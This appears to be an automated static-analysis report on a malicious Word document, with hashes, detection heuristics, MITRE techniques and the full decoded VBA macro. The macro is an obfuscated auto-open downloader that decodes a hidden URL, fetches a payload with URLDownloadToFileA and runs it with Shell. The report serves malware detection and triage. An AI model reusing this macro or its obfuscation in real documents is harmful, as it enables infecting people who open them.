Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d34c8509f55a102…

MALICIOUS

Office (OLE)

446.0 KB Created: 2019-01-09 03:02:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 6861b01fe688b36a63e310c4542e6b55 SHA-1: 49948c71f1c16f49ecd2dab2bf5c2155243d438b SHA-256: 6d34c8509f55a102f57c4fcb55649b1e6c95a72fef26349c1f1551cbd8948259
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening a document. The macro utilizes the URLDownloadToFileA API to download a payload from a URL, indicating an Ingress Tool Transfer attack pattern. The specific URL used for the download is obfuscated within the script, but the presence of the API call and the AutoOpen marker strongly suggest malicious intent.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    jHzWYHxRFatieROT = LhSURRUesQBnv(0, VWSWKMPYtattOHpeXW(FYkYrwqJBlJdlU, "dfsajkl#@R(*T$@(@#(WGE))))_)$T@(T$(T$(GO(WTGIOIRFGESKOPPWEOPQWRPWE)#R(T$@WGIWREA(@(I#TIKGDSJZKMVX<<DFVSAJMVDNCXVJZJVSDIAE(F*E#$TIEGIWRJKFJSDKEFIWOFEW(@#*RIWEIJSDFGUJWUWEUJDSJUJSDHFSDNXCJNHSDFJH"), YeVTrrdqKzZpeD, 0, 0)
    Shell$ YeVTrrdqKzZpeD
    End Sub
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Function LhSURRUesQBnv Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal XTeKHKxrEWYlFulYMfc As Long, _
    ByVal iTFNvMQCVLbvl As String, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    ByVal fSKrkaUYhNNrtD As Long) As Long
    Sub AutoOpen()
    Dim bibFKjTSpsClBdSoP As Integer
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17800 bytes
SHA-256: afd164366c2208f270a599986d160f2125ce1daa4ee2a69dc2c85891838bd334
Detection
ClamAV: No threats found
Obfuscation or payload: likely
237 of 310 identifiers look randomly generated (e.g. 'RIWEIJSDFGUJWUWEUJDSJUJSDHFSDNXCJNHSDFJH') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ZwkoRPuEOeLkyd"
Option Explicit
Private Declare PtrSafe Function LhSURRUesQBnv Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal XTeKHKxrEWYlFulYMfc As Long, _
ByVal iTFNvMQCVLbvl As String, _
ByVal QtjkhgSmtdfF As String, _
ByVal aCHPLmBxoYs As Long, _
ByVal fSKrkaUYhNNrtD As Long) As Long
Sub AutoOpen()
Dim bibFKjTSpsClBdSoP As Integer
bibFKjTSpsClBdSoP = 6
Dim gtZKiTzZFPyWxEhfNa: gtZKiTzZFPyWxEhfNa = Array("OpARlnPLBBKAXNjBNt""SHijhuwSbuTuUoImrog""oxjZIjQttTaS""GtcAFkcmIVsVLKEvOTQ")
If bibFKjTSpsClBdSoP < Len(Application.UserName) Then
Dim oQoEBZMWrKWLcWRt As Integer
oQoEBZMWrKWLcWRt = 3 - 9 * 9
Dim tTJByzZIBrAN As Variant
End If
Dim YeVTrrdqKzZpeD As String: YeVTrrdqKzZpeD = VWSWKMPYtattOHpeXW(IMkIsXtByMF("J1wvNBkOHlAcAl1IOE0jdCNVXh0NKn5fcGIOaEU1JgYxXE0="), "dfsajkl#@R(*T$@(@#(WGE))))_)$T@(T$(T$(GO(WTGIOIRFGESKOPPWEOPQWRPWE)#R(T$@WGIWREA(@(I#TIKGDSJZKMVX<<DFVSAJMVDNCXVJZJVSDIAE(F*E#$TIEGIWRJKFJSDKEFIWOFEW(@#*RIWEIJSDFGUJWUWEUJDSJUJSDHFSDNXCJNHSDFJH")
Dim WhgiDeCMcUKVENRZeL As Integer
WhgiDeCMcUKVENRZeL = 3 * 8
Dim jHzWYHxRFatieROT
Dim vlDnFBdYmaUenO As Integer
vlDnFBdYmaUenO = 6 * 5
Dim FYkYrwqJBlJdlU As String: FYkYrwqJBlJdlU = IMkIsXtByMF("DBIHEVBEQxJ4ZwYbZxJuGXcTBmZxak1IR05xTFwx")
Dim LjOBeDtpBtRl, JOXFPfkKwlBjcbO As Integer
LjOBeDtpBtRl = 6
JOXFPfkKwlBjcbO = 23
While LjOBeDtpBtRl < JOXFPfkKwlBjcbO
JOXFPfkKwlBjcbO = JOXFPfkKwlBjcbO - LjOBeDtpBtRl
Wend
jHzWYHxRFatieROT = LhSURRUesQBnv(0, VWSWKMPYtattOHpeXW(FYkYrwqJBlJdlU, "dfsajkl#@R(*T$@(@#(WGE))))_)$T@(T$(T$(GO(WTGIOIRFGESKOPPWEOPQWRPWE)#R(T$@WGIWREA(@(I#TIKGDSJZKMVX<<DFVSAJMVDNCXVJZJVSDIAE(F*E#$TIEGIWRJKFJSDKEFIWOFEW(@#*RIWEIJSDFGUJWUWEUJDSJUJSDHFSDNXCJNHSDFJH"), YeVTrrdqKzZpeD, 0, 0)
Shell$ YeVTrrdqKzZpeD
End Sub
Public Function IMkIsXtByMF(MXeQYzpEYOP As String, Optional yMgdlreswWXTWTtI As Boolean = True) As String
Dim htrCoFbTZelZsSSjOb, TxPYyWjTDPi As Integer
htrCoFbTZelZsSSjOb = 9
TxPYyWjTDPi = 44
While htrCoFbTZelZsSSjOb < TxPYyWjTDPi
TxPYyWjTDPi = TxPYyWjTDPi - htrCoFbTZelZsSSjOb
Wend
Static sBQIDrlbvimUh(0 To 255) As Byte
Dim pNkTBBdDPhx, pLyUbFSORqDHSGmV As Integer
pNkTBBdDPhx = 3
pLyUbFSORqDHSGmV = 19
While pNkTBBdDPhx < pLyUbFSORqDHSGmV
pLyUbFSORqDHSGmV = pLyUbFSORqDHSGmV - pNkTBBdDPhx
Wend
Dim DhuyfIqKlbdY() As Byte, xIrUDLKpSiI() As Byte
Dim KFcMOguyRbkPci, nsSsEyKxBOVrtRHq As Integer
For nsSsEyKxBOVrtRHq = 0 To 9
KFcMOguyRbkPci = KFcMOguyRbkPci + nsSsEyKxBOVrtRHq
Next nsSsEyKxBOVrtRHq
Dim UQWvgSHFPXIpFcK As Long, hWxJCToPzkLexvXh As Long
Dim urlcQopoKKusqHlov, dJdnVbpXRvHV As Integer
urlcQopoKKusqHlov = 2
dJdnVbpXRvHV = 13
While urlcQopoKKusqHlov < dJdnVbpXRvHV
dJdnVbpXRvHV = dJdnVbpXRvHV - urlcQopoKKusqHlov
Wend
If sBQIDrlbvimUh(0) = 0 Then
Dim OJQkzMocPXIYaOCZj As Integer
OJQkzMocPXIYaOCZj = 8 * 1
For UQWvgSHFPXIpFcK = 0 To 255
Dim HouxTVpqqfCTpRIM: HouxTVpqqfCTpRIM = Array("ZwUyhxSJIoglHYIQ""rhkRkCyZlBcUFNBzh""qRAVqBeostanrfj""zygMTbLqtOmdQyMVRxV""DpRmVkTSXcnbMy")
sBQIDrlbvimUh(UQWvgSHFPXIpFcK) = 255
Dim zAlAXXrIlFETnwPfMQ, fbBzXtNVjLh As Integer
For fbBzXtNVjLh = 0 To 5
zAlAXXrIlFETnwPfMQ = zAlAXXrIlFETnwPfMQ + fbBzXtNVjLh
Next fbBzXtNVjLh
Next UQWvgSHFPXIpFcK
For UQWvgSHFPXIpFcK = 0 To 25
Dim nhvhjcPJeSIAFTEaeO As Integer
nhvhjcPJeSIAFTEaeO = 8 - 4 * 9
sBQIDrlbvimUh(UQWvgSHFPXIpFcK + 65) = UQWvgSHFPXIpFcK
Dim IgTkHgFbevSuger, ITWUFiVisEfLd As Integer
For ITWUFiVisEfLd = 0 To 2
IgTkHgFbevSuger = IgTkHgFbevSuger + ITWUFiVisEfLd
Next ITWUFiVisEfLd
Next UQWvgSHFPXIpFcK
Dim kzRMWTGAuWtaLk, EyATxhxWXzLwU As Integer
For EyATxhxWXzLwU = 0 To 6
kzRMWTGAuWtaLk = kzRMWTGAuWtaLk + EyATxhxWXzLwU
Next EyATxhxWXzLwU
For UQWvgSHFPXIpFcK = 26 To 51
Dim OKRhmoUrTOfYpVqBuGX As Integer
OKRhmoUrTOfYpVqBuGX = 8 - 5 * 6
sBQIDrlbvimUh(UQWvgSHFPXIpFcK + 71) = UQWvgSHFPXIpFcK
Dim rkShNSvjIVAzdr As Integer
rkShNSvjIVAzdr = 1 * 5
Next UQWvgSHFPXIpFcK
Dim bjmQyIAulkQzrhecFu: bjmQyIAulkQzrhecFu = Array("vbKJLeMTkKbQQ")
For UQWvgSHFPXIpFcK = 52 To 61
Dim DHRfhIosntYLICocP, nkphoyKaSdo As Integer
DHRfhIosntYLICocP = 9
nkphoyKaSdo = 44
While DHRfhIosntYLICocP < nkphoyKaSdo
nkphoyKaSdo = nkphoyKaSdo - DHRfhIosntYLICocP
Wend
sBQIDrlbvimUh(UQWvgSHFPXIpFcK - 4) = UQWvgSHFPXIpFcK
Dim XBzdkxCqxqccIZW As Integer
XBzdkxCqxqccIZW = 5 * 4
Next UQWvgSHFPXIpFcK
Dim TXoxbtHKCbeWMn As Integer
TXoxbtHKCbeWMn = 3
Dim dvnZXbpcRLInN As Integer
dvnZXbpcRLInN = 8 - 6 * 2
If TXoxbtHKCbeWMn < Len(Application.UserName) Then
Dim ljyhvcQStSAxvvCoD, xUraeQOXBRmzMS As Integer
For xUraeQOXBRmzMS = 0 To 1
ljyhvcQStSAxvvCoD = ljyhvcQStSAxvvCoD + xUraeQOXBRmzMS
Next xUraeQOXBRmzMS
Dim mIEDEEJRqPFvfXL As Variant
End If
sBQIDrlbvimUh(43) = 62
Dim DOQavUYXSqODssJLa: DOQavUYXSqODssJLa = Array("lKBijcipRvrey""PRExtusoeFbO""EFIQxtmECmm""LnJYHXnTrASrPIuFW""WKOSKoJhAVgTq""btjqnkEKZUzz""koyRdqTeuuwX""zlnCJMBaBGAJwYrJCcl""tbogmgggGPRbnP")
sBQIDrlbvimUh(47) = 63
Dim YUTJsqsbANZHkdqS As Integer
YUTJsqsbANZHkdqS = 9 - 3 * 1
End If
Dim JgrxnYNjKmAxh As Integer
JgrxnYNjKmAxh = 8 - 3 * 3
If MXeQYzpEYOP = "" Then Exit Function
Dim jqvpUyhOOzUtQ As Integer
jqvpUyhOOzUtQ = 9
Dim CIlvekFEyZuQ As Integer
CIlvekFEyZuQ = 8 - 2 * 4
If jqvpUyhOOzUtQ < Len(Application.UserName) Then
Dim WsBgAwoUkqWmZj As Variant
End If
MXeQYzpEYOP = Trim(MXeQYzpEYOP)
Dim MXTbymcDHNxsC As Integer
MXTbymcDHNxsC = 9 - 9 * 1
If yMgdlreswWXTWTtI Then
Dim GideQCWlaPtAziK As Integer
GideQCWlaPtAziK = 4 * 5
For UQWvgSHFPXIpFcK = 0 To 255
Dim boDEmzbNfLQ: boDEmzbNfLQ = Array("aPIeTBUSXfHZdyN""yJFYRHfZNPGo""QvTHKINJvUBfmHlGB""paafrhdVSGKJkIj""yomEryKaVtcTakocO""BRcOoUAUykjpxegfBTL""dOpwlczIfkhi""SflShTAUlGdMN")
If Not (Chr(UQWvgSHFPXIpFcK) Like "[A-Za-z0-9+/=]") Then
Dim iNjCvqsZKTWMDNhoH As Integer
iNjCvqsZKTWMDNhoH = 2
Dim usOCjIQqefSwrHMSDR As Integer
usOCjIQqefSwrHMSDR = 4
Dim HBmrrgHDPDmxmrCWW: HBmrrgHDPDmxmrCWW = Array("wbCLTvtZFcHmuLIXo""kblaOgQCZQc""ZMZxjqNVywcdrRkyQ")
If usOCjIQqefSwrHMSDR < Len(Application.UserName) Then
Dim WIgRPQINqMoLvkpbG, QkYkkhSpPxp As Integer
WIgRPQINqMoLvkpbG = 7
QkYkkhSpPxp = 21
While WIgRPQINqMoLvkpbG < QkYkkhSpPxp
QkYkkhSpPxp = QkYkkhSpPxp - WIgRPQINqMoLvkpbG
Wend
Dim iLnkaBuKSniKGTFRFvU As Variant
End If
If iNjCvqsZKTWMDNhoH < Len(Application.UserName) Then
Dim ZdjWaTaeiyagjNDUWD, IcyBxRoUgbzIpa As Integer
ZdjWaTaeiyagjNDUWD = 6
IcyBxRoUgbzIpa = 75
While ZdjWaTaeiyagjNDUWD < IcyBxRoUgbzIpa
IcyBxRoUgbzIpa = IcyBxRoUgbzIpa - ZdjWaTaeiyagjNDUWD
Wend
Dim norAyBmnsci As Variant
End If
MXeQYzpEYOP = Replace(MXeQYzpEYOP, Chr(UQWvgSHFPXIpFcK), "")
Dim rMFGmXpYoPs, WVoiVIfSmieEIVJC As Integer
For WVoiVIfSmieEIVJC = 0 To 2
rMFGmXpYoPs = rMFGmXpYoPs + WVoiVIfSmieEIVJC
Next WVoiVIfSmieEIVJC
End If
Dim FSZGRdHlFzAfREA: FSZGRdHlFzAfREA = Array("kuSDFizyjgCpwU""HYqQzglJOjua""YQtbxoDqeqrLplq""jzHmACNDNlBXOsjn""uZKGqvwIJqyyoQlpxlq""oatHcZCpXZnFictLRH""KYQESBUNopReojW")
Next UQWvgSHFPXIpFcK
Dim DNDaYfMdfPKp, AiHJQyFOOdnVVIyqDI As Integer
For AiHJQyFOOdnVVIyqDI = 0 To 2
DNDaYfMdfPKp = DNDaYfMdfPKp + AiHJQyFOOdnVVIyqDI
Next AiHJQyFOOdnVVIyqDI
End If
xIrUDLKpSiI() = StrConv(MXeQYzpEYOP, vbFromUnicode)
Dim KMoqUiSNrCGmmr: KMoqUiSNrCGmmr = Array("pkPViQuTillFNHov""AfOPCxnuXlufObLU""GZOelhWLErclC""SYukUvmabQjdUabpg""rwtCzYnLciaEwVGB")
ReDim DhuyfIqKlbdY(0 To ((Len(MXeQYzpEYOP) \ 4) * 3 - 1))
Dim NcqKqpOfqpWAGH As Integer
NcqKqpOfqpWAGH = 2
Dim aUBkbamNyvU As Integer
aUBkbamNyvU = 1 - 7 * 7
If NcqKqpOfqpWAGH < Len(Application.UserName) Then
Dim XuIAfAGlYAU As Integer
XuIAfAGlYAU = 3 - 9 * 1
Dim ycdjHmbQNbF As Variant
End If
For UQWvgSHFPXIpFcK = 0 To Len(MXeQYzpEYOP) \ 4 - 2
hWxJCToPzkLexvXh = sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 3))
Dim CXfroTaiQmEVqj: CXfroTaiQmEVqj = Array("FPIttpnCQRcouyGr""qYssTqwdvRw""fYFhYRqfArvDKwpRN""rYWzPYbEamSkOM")
hWxJCToPzkLexvXh = hWxJCToPzkLexvXh Or (sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 2)) * &H40&)
Dim htTfkTTzjKWgz, YtTfvboUczBeAeFO As Integer
For YtTfvboUczBeAeFO = 0 To 7
htTfkTTzjKWgz = htTfkTTzjKWgz + YtTfvboUczBeAeFO
Next YtTfvboUczBeAeFO
hWxJCToPzkLexvXh = hWxJCToPzkLexvXh Or (sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 1)) * &H1000&)
Dim pvjwKbIKmWPBZ: pvjwKbIKmWPBZ = Array("JvTUdSNbrKLhx""ABjmlgskrlk""UAqcsYlrdRSjRM""TQYrJLLZIdxvHOaA""sukHnMYLoxxBLaCnx""dSAJnFaonBYLoyP")
hWxJCToPzkLexvXh = hWxJCToPzkLexvXh Or (sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 0)) * &H40000)
Dim wEmGJQYozVxSWGFLO: wEmGJQYozVxSWGFLO = Array("CsTpslpOhbwjyWghOmR")
DhuyfIqKlbdY(UQWvgSHFPXIpFcK * 3 + 0) = (hWxJCToPzkLexvXh And &HFF0000) \ &H10000
DhuyfIqKlbdY(UQWvgSHFPXIpFcK * 3 + 1) = (hWxJCToPzkLexvXh And &HFF00&) \ &H100&
Dim pQbwNKdMPgUPD, qOeZJvpKRwfIw As Integer
pQbwNKdMPgUPD = 6
qOeZJvpKRwfIw = 75
While pQbwNKdMPgUPD < qOeZJvpKRwfIw
qOeZJvpKRwfIw = qOeZJvpKRwfIw - pQbwNKdMPgUPD
Wend
DhuyfIqKlbdY(UQWvgSHFPXIpFcK * 3 + 2) = hWxJCToPzkLexvXh And &HFF&
Dim MzQHskxWkHStEordk, mqqqtYYqsphQNA As Integer
For mqqqtYYqsphQNA = 0 To 8
MzQHskxWkHStEordk = MzQHskxWkHStEordk + mqqqtYYqsphQNA
Next mqqqtYYqsphQNA
Next UQWvgSHFPXIpFcK
Dim osoydkCOmpwpSJCwtn: osoydkCOmpwpSJCwtn = Array("iBpgDxIWLVSESsJtM""jIXPegiRpzaueLe""WxMzsSQZRZEWWsK""OSCjYEwRMlWPH""kkKYniVlfwRNJDG""xnOWUthRfZciZGXAo")
hWxJCToPzkLexvXh = 0
Dim KtqHsqoEQqdHIJsDGpu, MidazLnbkTegeXB As Integer
For MidazLnbkTegeXB = 0 To 7
KtqHsqoEQqdHIJsDGpu = KtqHsqoEQqdHIJsDGpu + MidazLnbkTegeXB
Next MidazLnbkTegeXB
If sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 3)) <> 255 Then hWxJCToPzkLexvXh = sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 3))
Dim aSmYylqXkhItRx As Integer
aSmYylqXkhItRx = 3 - 1 * 6
If sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 2)) <> 255 Then hWxJCToPzkLexvXh = hWxJCToPzkLexvXh Or (sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 2)) * &H40&)
Dim CKekOdowtiJxYg: CKekOdowtiJxYg = Array("plYmtFuxdcmzIEHUVX""KpElDNgKbaJqT""ArGSGCbeoctAj""dwgjukjsBnGlZNx""NkzbYQlMbbuSmMT""UtOOwWnVExAPL""qnGqUlwIoVkmZudEIZ""qCZMSHpmFVyC""TwipFEfQVIjnXc")
If sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 1)) <> 255 Then hWxJCToPzkLexvXh = hWxJCToPzkLexvXh Or (sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 1)) * &H1000&)
Dim DiqSmwYUREqyn As Integer
DiqSmwYUREqyn = 9 - 7 * 2
If sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 0)) <> 255 Then hWxJCToPzkLexvXh = hWxJCToPzkLexvXh Or (sBQIDrlbvimUh(xIrUDLKpSiI(UQWvgSHFPXIpFcK * 4 + 0)) * &H40000)
Dim hiUXcKTndlGv, lQnUnwiGSbLCmWkuUYV As Integer
hiUXcKTndlGv = 8
lQnUnwiGSbLCmWkuUYV = 56
While hiUXcKTndlGv < lQnUnwiGSbLCmWkuUYV
lQnUnwiGSbLCmWkuUYV = lQnUnwiGSbLCmWkuUYV - hiUXcKTndlGv
Wend
DhuyfIqKlbdY(UQWvgSHFPXIpFcK * 3 + 0) = (hWxJCToPzkLexvXh And &HFF0000) \ &H10000
Dim JRjbbgEyhuKaLOGTlz As Integer
JRjbbgEyhuKaLOGTlz = 9 * 9
DhuyfIqKlbdY(UQWvgSHFPXIpFcK * 3 + 1) = (hWxJCToPzkLexvXh And &HFF00&) \ &H100&
Dim iRbFIvwRFJBJ, rhoHZXrMVvuksV As Integer
iRbFIvwRFJBJ = 5
rhoHZXrMVvuksV = 46
While iRbFIvwRFJBJ < rhoHZXrMVvuksV
rhoHZXrMVvuksV = rhoHZXrMVvuksV - iRbFIvwRFJBJ
Wend
DhuyfIqKlbdY(UQWvgSHFPXIpFcK * 3 + 2) = hWxJCToPzkLexvXh And &HFF&
Dim XibgXgfdWVCCIcRNG As Integer
XibgXgfdWVCCIcRNG = 7
Dim UXkKwKaDUqCkPsdve, sjEOepFKqsDe As Integer
For sjEOepFKqsDe = 0 To 7
UXkKwKaDUqCkPsdve = UXkKwKaDUqCkPsdve + sjEOepFKqsDe
Next sjEOepFKqsDe
If XibgXgfdWVCCIcRNG < Len(Application.UserName) Then
Dim tcXlRxihFaOoiCBG As Integer
tcXlRxihFaOoiCBG = 7
Dim RMceBYlJQtpwNkajm, WvkfngdHVWpV As Integer
For WvkfngdHVWpV = 0 To 9
RMceBYlJQtpwNkajm = RMceBYlJQtpwNkajm + WvkfngdHVWpV
Next WvkfngdHVWpV
If tcXlRxihFaOoiCBG < Len(Application.UserName) Then
Dim XAawknUjrrzUtOyYykP As Collection
Set XAawknUjrrzUtOyYykP = New Collection
XAawknUjrrzUtOyYykP.Add "LFMsGYpZcgPblBUdc"
XAawknUjrrzUtOyYykP.Add "tRsdnfIjypNtWrwgjJ"
XAawknUjrrzUtOyYykP.Add "SnUOSthperBiOKXxtJ"
XAawknUjrrzUtOyYykP.Add "zLPuyrrdYJLUqp"
XAawknUjrrzUtOyYykP.Add "ZWLgxBakgHKytV"
XAawknUjrrzUtOyYykP.Add "kLOeltjStpCocEJrv"
XAawknUjrrzUtOyYykP.Add "xZTBTjLkmNOY"
Dim luKSNCZaTmb As Variant
End If
Dim iNLDXEYrtNlaoIbw As Variant
End If
If xIrUDLKpSiI(UBound(xIrUDLKpSiI) - 1) = 61 Then
Dim PAixmhObncgDOQJ, mZDYlavHfdGqoTJYE As Integer
PAixmhObncgDOQJ = 2
mZDYlavHfdGqoTJYE = 18
While PAixmhObncgDOQJ < mZDYlavHfdGqoTJYE
mZDYlavHfdGqoTJYE = mZDYlavHfdGqoTJYE - PAixmhObncgDOQJ
Wend
IMkIsXtByMF = Left(StrConv(DhuyfIqKlbdY, vbUnicode), UBound(DhuyfIqKlbdY) - 1)
Dim QTkAXNuhcKIThC As Integer
QTkAXNuhcKIThC = 5 - 6 * 9
ElseIf xIrUDLKpSiI(UBound(xIrUDLKpSiI)) = 61 Then
IMkIsXtByMF = Left(StrConv(DhuyfIqKlbdY, vbUnicode), UBound(DhuyfIqKlbdY) - 0)
Else
Dim SVTrjJZsJjcIBEdamBp As Integer
SVTrjJZsJjcIBEdamBp = 3
Dim TnsSVYAahyba As Integer
TnsSVYAahyba = 6 - 5 * 9
If SVTrjJZsJjcIBEdamBp < Len(Application.UserName) Then
Dim yJfscmVkNPfBXgmzLH, jKfNozGyuqEGadZE As Integer
For jKfNozGyuqEGadZE = 0 To 3
yJfscmVkNPfBXgmzLH = yJfscmVkNPfBXgmzLH + jKfNozGyuqEGadZE
Next jKfNozGyuqEGadZE
Dim CKgmFxIFKhmMaMfI As Variant
End If
IMkIsXtByMF = StrConv(DhuyfIqKlbdY, vbUnicode)
Dim AnkHZgTncWUicmqXG, dhMPeXmCxuXOh As Integer
AnkHZgTncWUicmqXG = 1
dhMPeXmCxuXOh = 86
While AnkHZgTncWUicmqXG < dhMPeXmCxuXOh
dhMPeXmCxuXOh = dhMPeXmCxuXOh - AnkHZgTncWUicmqXG
Wend
End If
End Function
Public Function VWSWKMPYtattOHpeXW(ByRef orRUMmyYCVzwvnJKj As String, ByRef GJobtFsEAdfWab As String) As String
Dim nKLZSKrfZZNR, mjfRcEZstzCiC As Integer
nKLZSKrfZZNR = 6
mjfRcEZstzCiC = 51
While nKLZSKrfZZNR < mjfRcEZstzCiC
mjfRcEZstzCiC = mjfRcEZstzCiC - nKLZSKrfZZNR
Wend
Dim uiWcnTZdiGCfgPfhaZq() As Byte, ItfDIvCStqvefmesjpB() As Byte, cAorjpILyrY As Long, lprZfYXKpQH As Long, pRSlnMVpsBVijSsdig As Long, MXeQYzpEYOP As Long
Dim aQyZiUxtyiJJDRHvJ As Integer
aQyZiUxtyiJJDRHvJ = 2
Dim EGwzjDNBqIhGA, FIRJGYgKhzlc As Integer
For FIRJGYgKhzlc = 0 To 6
EGwzjDNBqIhGA = EGwzjDNBqIhGA + FIRJGYgKhzlc
Next FIRJGYgKhzlc
If aQyZiUxtyiJJDRHvJ < Len(Application.UserName) Then
Dim bYyHkoZvjXCgANaWjX As Integer
bYyHkoZvjXCgANaWjX = 4 * 9
Dim yNDzQGVEnMByKq As Variant
End If
uiWcnTZdiGCfgPfhaZq = StrConv(orRUMmyYCVzwvnJKj, vbFromUnicode)
Dim tpHNoMaltcDaRS, yDKgJlDxaYszstirqYz As Integer
For yDKgJlDxaYszstirqYz = 0 To 2
tpHNoMaltcDaRS = tpHNoMaltcDaRS + yDKgJlDxaYszstirqYz
Next yDKgJlDxaYszstirqYz
ItfDIvCStqvefmesjpB = StrConv(GJobtFsEAdfWab, vbFromUnicode)
Dim MksSLNaaiiXHAomuUe As Integer
MksSLNaaiiXHAomuUe = 9 - 4 * 9
cAorjpILyrY = UBound(uiWcnTZdiGCfgPfhaZq)
Dim vbPLlZOdTHrylr, WpteXwZTVbVhVBFeH As Integer
vbPLlZOdTHrylr = 8
WpteXwZTVbVhVBFeH = 25
While vbPLlZOdTHrylr < WpteXwZTVbVhVBFeH
WpteXwZTVbVhVBFeH = WpteXwZTVbVhVBFeH - vbPLlZOdTHrylr
Wend
lprZfYXKpQH = UBound(ItfDIvCStqvefmesjpB)
Dim jNicSMkRzHiMY As Collection
Set jNicSMkRzHiMY = New Collection
jNicSMkRzHiMY.Add "IZcMimrHjLlNBUxKH"
jNicSMkRzHiMY.Add "TvzZBoEXlFbB"
jNicSMkRzHiMY.Add "XUUGkoxVGmSLyj"
jNicSMkRzHiMY.Add "RubceTSZHjmPqlFf"
jNicSMkRzHiMY.Add "CoNStVRCQlN"
jNicSMkRzHiMY.Add "QiBRXPieEGMelN"
jNicSMkRzHiMY.Add "mlDJuVJCAwTdcPE"
jNicSMkRzHiMY.Add "FjXLeAxVgRpLca"
For pRSlnMVpsBVijSsdig = 0 To cAorjpILyrY
Dim oCwaFbvKmOx: oCwaFbvKmOx = Array("pQVxBmEmDxF""qyhoZBIGKtZvgXggVmI""XmkAraCPExqxHvIT""ZdNLmyOsrDbjBNafW""PQsMzqGnqEMUrQloQfd""QleptiOlTURUqDhqY""hvzaxKSpueQbb")
uiWcnTZdiGCfgPfhaZq(pRSlnMVpsBVijSsdig) = uiWcnTZdiGCfgPfhaZq(pRSlnMVpsBVijSsdig) Xor ItfDIvCStqvefmesjpB(MXeQYzpEYOP)
Dim JmanRgeQFUsCAYi, ZlOaDuHQPdfdNMkmY As Integer
For ZlOaDuHQPdfdNMkmY = 0 To 5
JmanRgeQFUsCAYi = JmanRgeQFUsCAYi + ZlOaDuHQPdfdNMkmY
Next ZlOaDuHQPdfdNMkmY
If MXeQYzpEYOP < lprZfYXKpQH Then
Dim GmyJymiBNgzGHYCe As Integer
GmyJymiBNgzGHYCe = 1 - 5 * 4
MXeQYzpEYOP = MXeQYzpEYOP + 1
Else
Dim XdRXAdIAoQP, CRhZbVGkKPtDepkuLQ As Integer
For CRhZbVGkKPtDepkuLQ = 0 To 5
XdRXAdIAoQP = XdRXAdIAoQP + CRhZbVGkKPtDepkuLQ
Next CRhZbVGkKPtDepkuLQ
MXeQYzpEYOP = 0
Dim jcCAvCdtAWr As Integer
jcCAvCdtAWr = 4
Dim MfDNtGYisWS: MfDNtGYisWS = Array("nFZDWkCoVqjHosfYh""zklMNhLPVOdcBYaZ""lawkYqTHjWCfSrW")
If jcCAvCdtAWr < Len(Application.UserName) Then
Dim GcArNKDcIlv, MjFolvXKwzWZvd As Integer
GcArNKDcIlv = 9
MjFolvXKwzWZvd = 53
While GcArNKDcIlv < MjFolvXKwzWZvd
MjFolvXKwzWZvd = MjFolvXKwzWZvd - GcArNKDcIlv
Wend
Dim xLTPqxyjCTa As Variant
End If
End If
Dim OQhIKhDrmzHcaSN, kHAofGlcdkhk As Integer
OQhIKhDrmzHcaSN = 5
kHAofGlcdkhk = 89
While OQhIKhDrmzHcaSN < kHAofGlcdkhk
kHAofGlcdkhk = kHAofGlcdkhk - OQhIKhDrmzHcaSN
Wend
Next pRSlnMVpsBVijSsdig
Dim ZlmHrHYICdpSHS, fjMjfxkWsPue As Integer
For fjMjfxkWsPue = 0 To 7
ZlmHrHYICdpSHS = ZlmHrHYICdpSHS + fjMjfxkWsPue
Next fjMjfxkWsPue
